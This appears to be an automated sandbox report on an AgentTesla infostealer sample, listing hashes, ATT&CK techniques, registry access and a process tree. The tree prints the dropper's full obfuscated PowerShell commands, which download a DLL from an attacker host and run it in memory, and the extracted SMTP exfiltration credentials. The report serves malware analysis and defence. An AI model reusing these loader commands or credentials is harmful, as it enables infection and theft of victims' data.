agenttesla | 2c37a2e69e921672a2a9a14b9af4def2a610518cdfcab485bd7cb6bbbd7e2980

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20230621-en
resource tags

arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
submitted
05/07/2023, 13:23

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General

Target
casssVbsforexpOnline.vbs
Size 413KB
Sample230705-qmsv6aeb31
SHA256 2c37a2e69e921672a2a9a14b9af4def2a610518cdfcab485bd7cb6bbbd7e2980
MD5 88ef1666b70498199bf884c69deb3462
SHA1 109048455324c612b3486e99a7a16ce538b89cae
SHA512 9969ba4af19eda469b8a077ad636d333e5dcf0c9674b25eb1383cfaf618d92fee9fb2fed65c3f4d6daffea1cc4dd59a86867ece96bb93db07b0d7cb100e9f96c
SSDEEP 1536:69OJNc06jjQ2jj8SmoqaQJDtApa16UosDrQuEEajjjj1AJ+TsT5nynoRaBTATCT4:69OJy/kaBTATCTvsvtXaCq0
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://cryptersandtools.minhacasa.tv/e/e

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
quimicaobal.com
Port
587
Username
[email protected]
Password
62Q7ROn)&Ben
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1064	powershell.exe
5	1064	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3950455397-3229124517-1686476975-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-3950455397-3229124517-1686476975-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-3950455397-3229124517-1686476975-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1064 set thread context of 964	1064	powershell.exe	31

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1992	powershell.exe
1064	powershell.exe
1064	powershell.exe
1064	powershell.exe
964	RegAsm.exe
964	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeDebugPrivilege	964	RegAsm.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 1992	2024	WScript.exe	26
PID 2024 wrote to memory of 1992	2024	WScript.exe	26
PID 2024 wrote to memory of 1992	2024	WScript.exe	26
PID 1992 wrote to memory of 1064	1992	powershell.exe	28
PID 1992 wrote to memory of 1064	1992	powershell.exe	28
PID 1992 wrote to memory of 1064	1992	powershell.exe	28
PID 1064 wrote to memory of 904	1064	powershell.exe	29
PID 1064 wrote to memory of 904	1064	powershell.exe	29
PID 1064 wrote to memory of 904	1064	powershell.exe	29
PID 1064 wrote to memory of 904	1064	powershell.exe	29
PID 1064 wrote to memory of 904	1064	powershell.exe	29
PID 1064 wrote to memory of 904	1064	powershell.exe	29
PID 1064 wrote to memory of 904	1064	powershell.exe	29
PID 1064 wrote to memory of 1300	1064	powershell.exe	30
PID 1064 wrote to memory of 1300	1064	powershell.exe	30
PID 1064 wrote to memory of 1300	1064	powershell.exe	30
PID 1064 wrote to memory of 1300	1064	powershell.exe	30
PID 1064 wrote to memory of 1300	1064	powershell.exe	30
PID 1064 wrote to memory of 1300	1064	powershell.exe	30
PID 1064 wrote to memory of 1300	1064	powershell.exe	30
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31
PID 1064 wrote to memory of 964	1064	powershell.exe	31

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3950455397-3229124517-1686476975-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3950455397-3229124517-1686476975-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\casssVbsforexpOnline.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂Lg⁂0⁂DY⁂ZQBz⁂GE⁂YgBy⁂G8⁂d⁂Bz⁂GE⁂Yw⁂v⁂DQ⁂Mg⁂u⁂D⁂⁂Mg⁂x⁂C4⁂O⁂⁂3⁂DE⁂Lg⁂1⁂Dk⁂MQ⁂v⁂C8⁂OgBw⁂HQ⁂d⁂Bo⁂Cc⁂KQ⁂p⁂⁂==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.46esabrotsac/42.021.871.591//:ptth'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1064
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:904
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:1300
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

0R215BEZ8IU9UVMHU7X9.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0R215BEZ8IU9UVMHU7X9.temp
Size 7KB
SHA256 5e134b452971761924175b95c4b067e5381c74e954f763d1092abaa8bc76a127
MD5 e1de73186eea99e8d0aa6f0eb0c808b8
SHA1 ce86463561d03856c0a170d3f2c18c97e35b5102
SHA512 4df820b1d83e46b8368dd163c2e6707f993a9aa59e80d7a8b57b5ed776f025c118011387e27cabf7685b733e396d50066ee023a70b697a9786e62d58f911fa9a
SSDEEP 96:8BaCFM8WnqvsqvJCwomBaCFM8WnqvsEHyqvJCworFr2EQHym782XlUVR:knCUoanCAHnorFhfm782i
MD5 SHA1 SHA512 SSDEEP

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 5e134b452971761924175b95c4b067e5381c74e954f763d1092abaa8bc76a127
MD5 e1de73186eea99e8d0aa6f0eb0c808b8
SHA1 ce86463561d03856c0a170d3f2c18c97e35b5102
SHA512 4df820b1d83e46b8368dd163c2e6707f993a9aa59e80d7a8b57b5ed776f025c118011387e27cabf7685b733e396d50066ee023a70b697a9786e62d58f911fa9a
SSDEEP 96:8BaCFM8WnqvsqvJCwomBaCFM8WnqvsEHyqvJCworFr2EQHym782XlUVR:knCUoanCAHnorFhfm782i
MD5 SHA1 SHA512 SSDEEP

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memory/964-73-0x0000000000400000-0x0000000000430000-memory.dmp

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memory/964-81-0x0000000000400000-0x0000000000430000-memory.dmp

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memory/964-83-0x0000000004EE0000-0x0000000004F20000-memory.dmp

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memory/964-82-0x0000000004EE0000-0x0000000004F20000-memory.dmp

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memory/964-77-0x0000000000400000-0x0000000000430000-memory.dmp

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memory/964-79-0x0000000000400000-0x0000000000430000-memory.dmp

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memory/964-72-0x0000000000400000-0x0000000000430000-memory.dmp

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memory/964-75-0x0000000000400000-0x0000000000430000-memory.dmp

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memory/964-76-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

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memory/964-74-0x0000000000400000-0x0000000000430000-memory.dmp

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memory/1064-69-0x0000000002510000-0x0000000002590000-memory.dmp

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memory/1064-70-0x0000000002510000-0x0000000002590000-memory.dmp

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memory/1064-71-0x00000000026C0000-0x00000000026CA000-memory.dmp

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memory/1992-68-0x0000000002890000-0x0000000002910000-memory.dmp

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memory/1992-58-0x000000001B1A0000-0x000000001B482000-memory.dmp

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memory/1992-61-0x0000000002890000-0x0000000002910000-memory.dmp

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memory/1992-59-0x00000000023E0000-0x00000000023E8000-memory.dmp

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memory/1992-60-0x0000000002890000-0x0000000002910000-memory.dmp

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memory/1992-62-0x0000000002890000-0x0000000002910000-memory.dmp

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